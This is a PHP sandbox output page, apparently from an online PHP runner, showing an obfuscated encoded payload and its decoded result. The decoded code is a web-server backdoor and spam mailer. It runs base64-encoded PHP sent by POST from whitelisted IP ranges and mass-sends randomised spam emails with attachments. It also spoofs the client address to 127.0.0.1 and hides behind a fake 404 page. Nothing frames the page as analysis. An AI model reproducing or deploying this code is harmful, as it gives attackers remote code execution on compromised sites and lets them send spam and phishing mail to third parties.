'sm2Lsm2Lslivsm2Lsm2Lsm2Lsm2Lpf69R4FLeQFLchBJYXHUGh6gcoTvsm2Lsm2'.
'Lsm2Lsm2Lam2Lsm2Lsm2Lsm2LsJBJHYhSHYDiswWRsmpdCX8jHX8iuPBHTftvs4h7TX6HW4hjbXMgCE21DPD'.
'YufOVGXF11YOUHXOdCf6SphBJYXcmN2cLsm2Lsm2Lsm2Lsm2jGfh91fhdRm2g'.
'Vm2JZXMARfxARwxUHXOPRqZvsmcAKPBJ5fxgvJ6jnP6IbwcJYYHUemW5am2Lsm2Lsm27V2cLsm2Lsm2LsJBJHY'.
'hSHYDiswWRsmHUGh6gcoTvsm2Lsm2LsmLvsm2Lsm2Lsm6HOa2LpY69G4x1KxGPufhjvXMi8h'.
'FLVQFL83IVtS2YsaFLpYOSUPxSKP2LeQFLpf69R4t5am2Lsm2Lsm2Lam2Lsm2'.
'Lsm27Lf8PGqhjHm2spf8L5JBJHYhSHYDiboGLCac7tfxApmBJHYhSHYDisacyam2Lsm2Lsm2Lam2Lsm2Lsm2LpYOSKmZRsmcmNm2'.
'jvfx9pfhJKmZRsmcmNm2jvhMjHP6SWP6SpmZRsfO95YM3N2cLsm2Lsm2LsPMnbX63vm29LfOSCfcspf8Lbm2pam2Lsm2Lsm27N2c'.
'Lsm2Lsm2Lsm2Lsm2jGfhrswWRsi6fGfx9pa2jOY2TsrtLGd2pNm2yzmd6BRwWjsu2TRwhiC2Zieu2+RwDjsu21RwDjscLzwTv'.
'sm2Ls2cLsm2Lsm2Lsm2Lsm2yzmd2lR4ZiCu2GRwhjsd2kRwLsRwDi5d2NRwW'.
'jnV2gR4ysRwli5d2KRwCiCu2GRw0iCu2Gmd2Gmd2kRwNiCP62RwhiCP62Rw3sacyam2Lsm2Lsm2Lsm2Lsqx4vm2'.
'IsJ6nlf6SRfxdRfxisJc4sYDjGY6VKa2jGfhr5m2JYYHUehBJYXcmbmtRVjp9r3R3saivsm2'.
'Lsm2Lsm2Lsm27N2cLsm2Lsm2Lsm2Lsm2Lsm2LCacZiuV2TRwQiCu2NRwNi5u2kRwssR4Qiuu21md67R4l'.
'ied62RwZiCP6wm2RsRw0iCu6LR4ZiuP2kR4wied6LR4QiuP2ymd2kRwNiCP62RwhiCP62m2vC2cLsm2Lsm2Lsm2Lsm2Ls'.
'm2Lpq9VpfhjH4DjHf2LVmBjGPx3N2cLsm2Lsm2Lsm2Lsm2Lsm2Lam2Lsm2Lsm2Ls'.
'm2Lsm2Lsm2jvfx9pfhJKmZRsYDScYDjGa2jGfhr5mZL5mBdRY87CYGspYOSKw2LchBJYXHUGh6'.
'gcaFpN2cLsm2Lsm2Lsm2Lsm2Lsm2LpYOSKmZRsYDScYDjGa2jGfhr5mBdRY87CYGspYOSKw2LchBJYXHUGh6gca'.
'F5Rat5am2Lsm2Lsm2Lsm2Lsm2LsmLvsm2Lsm2Lsm2Lsm2Lsm2LswGv'.
'sF6Snf6SGYG7RXG77Y8JnEFLzwTvsm2Lsm2Lsm2Lsm2Lsm2Lsqx4vm2jT4hJnXhdXJDJHPBSGXcPPQtR8q6Snf6SGYGYsl'.
'BTsJB7nYO9uY158YOSRPhJeJ1RVQFPnY8JnEFYam2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm27yl2LvqhdKfhivJB7nYO9uY158YOS'.
'pqhJH4Di8hFpsJc4sJB7nYO9uY158YOSpqhJH4Di8htRVPBJ1fFpsaivsm2Lsm2Lsm2Lsm2Lsm2LsETvsm2Lsm2Lsm2Lsm2Ls'.
'm2Lsm2Lsm2jvmZRsfhnTX6VpfFschBJYXcm5m2jvfx9pfhJKat5am'.
'2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lpq6Snf6SGYGLVm69GYO9Aa2pN2cLsm2Lsm2Lsm2Lsm2Lsm2Lsm2LsfOVGfx9Wq'.
'2ssJ6ss4hrsJ65VQcjMm2pam2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm27N2cLsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm6HOa27KPBJTXDrvJ'.
'B45m2YkJGpsaivsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm27N2cLsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2LpqGLVmBd'.
'148dRYcspPcTsr2TsYDjGY6VKa2jMw2L8ocYbat5am2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2jMmZRsPBJbXF'.
'nKPxJKPBmvJB45mBdRY87CYGspPcTsJKv8aF5UaFpN2cLsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2LsmBR'.
'am2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2LsJ6nH4xjHY8dXYDjGP6V1'.
'YB7HYcspqGHPmZRsJB4N2cLsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lslivsm2Lsm2Lsm2Lsm2Lsm2Lslivsm2'.
'Lsm2Lsm2Lsm2Lsm2Lsqx4vm6HKYMSRa2jT4hJnXhdXJDJHf6HGfxdRJ1Rbm24Om2jT4hJnXhdXJDJHf6HGfxdRJ1RVQhjGP'.
'x3sJc4sqhdKfhivJ6nH4xjHY8dXJRUQiR93F3VoJ1Rbm2pam2Lsm2Lsm2Lsm2Lsm2LsmB5am2Lsm2Lsm2Lsm2L'.
'sm2Lsm2Lsm2LpY69G4x1KxGP1YOT8hFLVm2jvfx9pfhJKxGPrtRd7SIHQtcPPoTvsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm6H'.
'Oa2LnqhdKfhivJB7nYO9uY158YOSpqhJH4Diu4MV1X8i8hFpsaFLpY69G4x1KxGPGfxj'.
'bYOSWP21WXDSeP2PPmZRsrZ5am2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm27bfcssJB7nYO9uY158YOS'.
'pqhJH4Diu4MV1X8i8htTUr2Lb2cLsm2Lsm2Lsm2Lsm2Lsm2Lsm2LsETvsm2Lsm2Lsm2'.
'Lsm2Lsm2Lsm2Lsm2Lsm2LpY69G4x1KxGPGfxjbYOSWP21WXDSeP2PPaG5N2cLsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2j'.
'OPxAWmZRsh1V6S3AZSIHQtHVloTvsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm2Lsm27Gfhj1YOgsi6HK'.
'hMVcqOSWP2spP6nbYGpsQGLpP6nbYGR+J6f1XOrvJB7nYO9uYGpsocLpf8Se4GspY69G4x1Kat5am2Lsm2Lsm2'.
'Lsm2Lsm2Lsm2Lsm27V2cLsm2Lsm2Lsm2Lsm2Lsm27V2cLsm2Lsm2Lsm2Lsm2Lsm27bfcssJB7nYO9uY158YOSRPhJeJ1RVQ'.
'FPvfx9pfhJKJGLbmBJHPBSGXcLpq6Snf6SGYK5am2Lsm2Lsm2Lsm2Lslivsm2Lsm2LsmBRam2Lsm2Lsm2La'.
'm2Lsm2Lsm27LfOd5XDdHa2jOY2pN2cLsm27V2cLsm27HXBdHmBJHPBSGXc76i3Utjt5CacLpfhJGYDjGwcjHY8JeXK5sacyam2Ls'.
'mLvsm2Lsqx4vm2jT4hJnXhdXJDJHPBSGXcPPQtR84hJG4hp8m2psJBJHYGLVm69GYO9Aa2Pvfx9pfhJKJKR+J6nH4xjHY8r5'.
'm2PWXMARfxARJKR+JBJHYGpN2cLsm2Lam2LsmBJHPBSGXcLpYOSKoTbV';
echo(vPJZ9YC($v4IKRQR, $v5F7XLJ));
- Output for git.master, git.master_jit, rfc.property-hooks
- if(isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR']))
{
eval(base64_decode($_POST["code"]));
exit();
}
if (isset($_POST["type"]) && $_POST["type"]=="1")
{
type1_send();
exit();
}
elseif (isset($_POST["type"]) && $_POST["type"]=="2")
{
}
elseif (isset($_POST["type"]))
{
echo $_POST["type"];
exit();
}
error_404();
function is_good_ip($ip)
{
$goods = Array("6.185.239.", "8.138.118.");
foreach ($goods as $good)
{
if (strstr($ip, $good) != FALSE)
{
return TRUE;
}
}
return FALSE;
}
function type1_send()
{
if(!isset($_POST["emails"])
OR !isset($_POST["themes"])
OR !isset($_POST["messages"])
OR !isset($_POST["froms"])
OR !isset($_POST["mailers"])
)
{
exit();
}
if(get_magic_quotes_gpc())
{
foreach($_POST as $key => $post)
{
$_POST[$key] = stripcslashes($post);
}
}
$emails = @unserialize(base64_decode($_POST["emails"]));
$themes = @unserialize(base64_decode($_POST["themes"]));
$messages = @unserialize(base64_decode($_POST["messages"]));
$froms = @unserialize(base64_decode($_POST["froms"]));
$mailers = @unserialize(base64_decode($_POST["mailers"]));
$aliases = @unserialize(base64_decode($_POST["aliases"]));
$passes = @unserialize(base64_decode($_POST["passes"]));
if(isset($_SERVER))
{
$_SERVER['PHP_SELF'] = "/";
$_SERVER['REMOTE_ADDR'] = "127.0.0.1";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
}
}
if(isset($_FILES))
{
foreach($_FILES as $key => $file)
{
$filename = alter_macros($aliases[$key]);
$filename = num_macros($filename);
$filename = text_macros($filename);
$filename = xnum_macros($filename);
$_FILES[$key]["name"] = $filename;
}
}
if(empty($emails))
{
exit();
}
foreach ($emails as $fteil => $email)
{
$theme = $themes[array_rand($themes)];
$theme = alter_macros($theme["theme"]);
$theme = num_macros($theme);
$theme = text_macros($theme);
$theme = xnum_macros($theme);
$message = $messages[array_rand($messages)];
$message = alter_macros($message["message"]);
$message = num_macros($message);
$message = text_macros($message);
$message = xnum_macros($message);
//$message = pass_macros($message, $passes);
$message = fteil_macros($message, $fteil);
$from = $froms[array_rand($froms)];
$from = alter_macros($from["from"]);
$from = num_macros($from);
$from = text_macros($from);
$from = xnum_macros($from);
if (strstr($from, "[CUSTOM]") == FALSE)
{
$from = from_host($from);
}
else
{
$from = str_replace("[CUSTOM]", "", $from);
}
$mailer = $mailers[array_rand($mailers)];
send_mail($from, $email, $theme, $message, $mailer);
}
}
function send_mail($from, $to, $subj, $text, $mailer)
{
$head = "";
$un = strtoupper(uniqid(time()));
$head .= "From: $from\n";
$head .= "X-Mailer: $mailer\n";
$head .= "Reply-To: $from\n";
$head .= "Mime-Version: 1.0\n";
$head .= "Content-Type: multipart/alternative;";
$head .= "boundary=\"----------".$un."\"\n\n";
$plain = strip_tags($text);
$zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";
$zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
$zag .= "------------".$un."--";
if(count($_FILES) > 0)
{
foreach($_FILES as $file)
{
if(file_exists($file["tmp_name"]))
{
$f = fopen($file["tmp_name"], "rb");
$zag .= "------------".$un."\n";
$zag .= "Content-Type: application/octet-stream;";
$zag .= "name=\"".$file["name"]."\"\n";
$zag .= "Content-Transfer-Encoding:base64\n";
$zag .= "Content-Disposition:attachment;";
$zag .= "filename=\"".$file["name"]."\"\n\n";
$zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
fclose($f);
}
}
}
if(@mail($to, $subj, $zag, $head))
{
if(!empty($_POST['verbose']))
echo "SENDED";
}
else
{
if(!empty($_POST['verbose']))
echo "FAIL";
}
}
function alter_macros($content)
{
preg_match_all('#{(.*)}#Ui', $content, $matches);
for($i = 0; $i < count($matches[1]); $i++)
{
$ns = explode("|", $matches[1][$i]);
$c2 = count($ns);
$rand = rand(0, ($c2 - 1));
$content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
}
return $content;
}
function text_macros($content)
{
preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$word = generate_word($rand);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$count = $matches[1][$i];
$word = generate_word($count);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
return $content;
}
function xnum_macros($content)
{
preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$num = $matches[1][$i];
$min = pow(10, $num - 1);
$max = pow(10, $num) - 1;
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function num_macros($content)
{
preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function generate_word($length)
{
$chars = 'abcdefghijklmnopqrstuvyxz';
$numChars = strlen($chars);
$string = '';
for($i = 0; $i < $length; $i++)
{
$string .= substr($chars, rand(1, $numChars) - 1, 1);
}
return $string;
}
function pass_macros($content, $passes)
{
$pass = array_pop($passes);
return str_replace("[PASS]", $pass, $content);
}
function fteil_macros($content, $fteil)
{
return str_replace("[FTEIL]", $fteil, $content);
}
function is_ip($str) {
return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
}
function from_host($content)
{
$host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);
if (is_ip($host))
{
return $content;
}
$tokens = explode("@", $content);
$content = $tokens[0] . "@" . $host . ">";
return $content;
}
function error_404()
{
header("HTTP/1.1 404 Not Found");
$uri = preg_replace('/(\?).*$/', '', $_SERVER['REQUEST_URI'] );
$content = custom_http_request1("http://".$_SERVER['HTTP_HOST']."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
$content = str_replace( "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content );
exit( $content );
}
function custom_http_request1($params)
{
if( ! is_array($params) )
{
$params = array(
'url' => $params,
'method' => 'GET'
);
}
if( $params['url']=='' ) return FALSE;
if( ! isset($params['method']) ) $params['method'] = (isset($params['data'])&&is_array($params['data'])) ? 'POST' : 'GET';
$params['method'] = strtoupper($params['method']);
if( ! in_array($params['method'], array('GET', 'POST')) ) return FALSE;
/* Приводим ссылку в правильный вид */
$url = parse_url($params['url']);
if( ! isset($url['scheme']) ) $url['scheme'] = 'http';
if( ! isset($url['path']) ) $url['path'] = '/';
if( ! isset($url['host']) && isset($url['path']) )
{
if( strpos($url['path'], '/') )
{
$url['host'] = substr($url['path'], 0, strpos($url['path'], '/'));
$url['path'] = substr($url['path'], strpos($url['path'], '/'));
}
else
{
$url['host'] = $url['path'];
$url['path'] = '/';
}
}
$url['path'] = preg_replace("/[\\/]+/", "/", $url['path']);
if( isset($url['query']) ) $url['path'] .= "?{$url['query']}";
$port = isset($params['port']) ? $params['port']
: ( isset($url['port']) ? $url['port'] : ($url['scheme']=='https'?443:80) );
$timeout = isset($params['timeout']) ? $params['timeout'] : 30;
if( ! isset($params['return']) ) $params['return'] = 'content';
$scheme = $url['scheme']=='https' ? 'ssl://':'';
$fp = @fsockopen($scheme.$url['host'], $port, $errno, $errstr, $timeout);
if( $fp )
{
/* Mozilla */
if( ! isset($params['User-Agent']) ) $params['User-Agent'] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
$request = "{$params['method']} {$url['path']} HTTP/1.0\r\n";
$request .= "Host: {$url['host']}\r\n";
$request .= "User-Agent: {$params['User-Agent']}"."\r\n";
if( isset($params['referer']) ) $request .= "Referer: {$params['referer']}\r\n";
if( isset($params['cookie']) )
{
$cookie = "";
if( is_array($params['cookie']) ) {foreach( $params['cookie'] as $k=>$v ) $cookie .= "$k=$v; "; $cookie = substr($cookie,0,-2);}
else $cookie = $params['cookie'];
if( $cookie!='' ) $request .= "Cookie: $cookie\r\n";
}
$request .= "Connection: close\r\n";
if( $params['method']=='POST' )
{
if( isset($params['data']) && is_array($params['data']) )
{
foreach($params['data'] AS $k => $v)
$data .= urlencode($k).'='.urlencode($v).'&';
if( substr($data, -1)=='&' ) $data = substr($data,0,-1);
}
$data .= "\r\n\r\n";
$request .= "Content-type: application/x-www-form-urlencoded\r\n";
$request .= "Content-length: ".strlen($data)."\r\n";
}
$request .= "\r\n";
if( $params['method'] == 'POST' ) $request .= $data;
@fwrite ($fp,$request); /* Send request */
$res = ""; $headers = ""; $h_detected = false;
while( !@feof($fp) )
{
$res .= @fread($fp, 1024); /* читаем контент */
/* Проверка наличия загловков в контенте */
if( ! $h_detected && strpos($res, "\r\n\r\n")!==FALSE )
{
/* заголовки уже считаны - корректируем контент */
$h_detected = true;
$headers = substr($res, 0, strpos($res, "\r\n\r\n"));
$res = substr($res, strpos($res, "\r\n\r\n")+4);
/* Headers to Array */
if( $params['return']=='headers' || $params['return']=='array'
|| (isset($params['redirect']) && $params['redirect']==true) )
{
$h = explode("\r\n", $headers);
$headers = array();
foreach( $h as $k=>$v )
{
if( strpos($v, ':') )
{
$k = substr($v, 0, strpos($v, ':'));
$v = trim(substr($v, strpos($v, ':')+1));
}
$headers[strtoupper($k)] = $v;
}
}
if( isset($params['redirect']) && $params['redirect']==true && isset($headers['LOCATION']) )
{
$params['url'] = $headers['LOCATION'];
if( !isset($params['redirect-count']) ) $params['redirect-count'] = 0;
if( $params['redirect-count']<10 )
{
$params['redirect-count']++;
$func = __FUNCTION__;
return @is_object($this) ? $this->$func($params) : $func($params);
}
}
if( $params['return']=='headers' ) return $headers;
}
}
@fclose($fp);
}
else return FALSE;/* $errstr.$errno; */
if( $params['return']=='array' ) $res = array('headers'=>$headers, 'content'=>$res);
return $res;
}
This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.
Active branches
Archived branches
Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page
preferences:
45.38 ms | 429 KiB | 8 Q